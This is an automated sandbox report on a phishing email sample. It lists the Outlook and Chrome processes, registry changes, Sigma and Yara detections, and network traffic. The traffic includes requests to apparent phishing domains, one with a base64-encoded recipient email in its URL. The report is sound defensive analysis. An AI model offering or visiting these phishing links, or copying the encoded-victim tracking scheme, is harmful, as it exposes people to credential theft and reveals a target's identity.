Edit tour

Windows Analysis Report
Your Document-7617432882-8AhEHNmrLR Ready.msg

Overview

General Information

Sample name:	Your Document-7617432882-8AhEHNmrLR Ready.msg
Analysis ID:	1525480
MD5:	3e35d43b14c9134c16c4430c7bfb9e9f
SHA1:	dbfd0b32826f97aa41072f9c6fc9f1cfdc8b0094
SHA256:	7aabd9f19bfcc9b4121ba18351e7ab84a6cb93569a455a50be680da2996c84fe
Infos:

Detection

HTMLPhisher

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected BlockedWebSite

HTML body with high number of large embedded background images detected

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Sigma detected: Outlook Security Settings Updated - Registry

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 3976 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\Your Document-7617432882-8AhEHNmrLR Ready.msg" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 7124 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "D763B21E-F905-4389-8DDF-48B451C19AF8" "A05E4E38-F0B6-4C24-9C2B-298096491BCF" "3976" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 1840 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3688 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1764,i,6026439444708380704,7253972043974281439,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_68	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 3976, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\SearchToolbarsDisabled

Sigma detected: Outlook Security Settings Updated - Registry

Source: Registry Key set

Author: frack113: Data: Details: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 3976, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Security\OutlookSecureTempFolder

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected BlockedWebSite

Source: Yara match

File source: dropped/chromecache_68, type: DROPPED

Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/9G4C05MQ/Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html

HTTP Parser: Total embedded background img size: 627312

Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/9G4C05MQ/Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/9G4C05MQ/Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html	HTTP Parser: No favicon

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.22:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49722 version: TLS 1.2

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Uu5x82gFSVz4Y+V&MD=xRO9H6GA HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /?am9oYW5uZXMuYmVya21hbm5AdmlyaWRpdW0tZ3J1cHBlLmNvbQ== HTTP/1.1Host: lxnk1f.cheapestselfstorageunits.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /76ikbi1/ HTTP/1.1Host: qiczox0.ascenseurm8.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://lxnk1f.cheapestselfstorageunits.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Uu5x82gFSVz4Y+V&MD=xRO9H6GA HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: lxnk1f.cheapestselfstorageunits.com
Source: global traffic	DNS traffic detected: DNS query: qiczox0.ascenseurm8.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4762Host: login.live.com

Source: Your Document-7617432882-8AhEHNmrLR Ready.msg	String found in binary or memory: http://schema.org
Source: Your Document-7617432882-8AhEHNmrLR Ready.msg, ~WRS{D4CAC70D-CE29-4491-8290-18AE3B736896}.tmp.0.dr	String found in binary or memory: https://aka.ms/LearnAboutSenderIdentification
Source: chromecache_69.12.dr	String found in binary or memory: https://qiczox0.ascenseurm8.com/76ikbi1/#
Source: chromecache_68.12.dr	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: chromecache_68.12.dr	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.22:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49722 version: TLS 1.2

Source: classification engine

Classification label: mal48.phis.winMSG@19/29@6/5

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241004T0356030769-3976.etl

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\Your Document-7617432882-8AhEHNmrLR Ready.msg"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "D763B21E-F905-4389-8DDF-48B451C19AF8" "A05E4E38-F0B6-4C24-9C2B-298096491BCF" "3976" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1764,i,6026439444708380704,7253972043974281439,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "D763B21E-F905-4389-8DDF-48B451C19AF8" "A05E4E38-F0B6-4C24-9C2B-298096491BCF" "3976" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1764,i,6026439444708380704,7253972043974281439,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
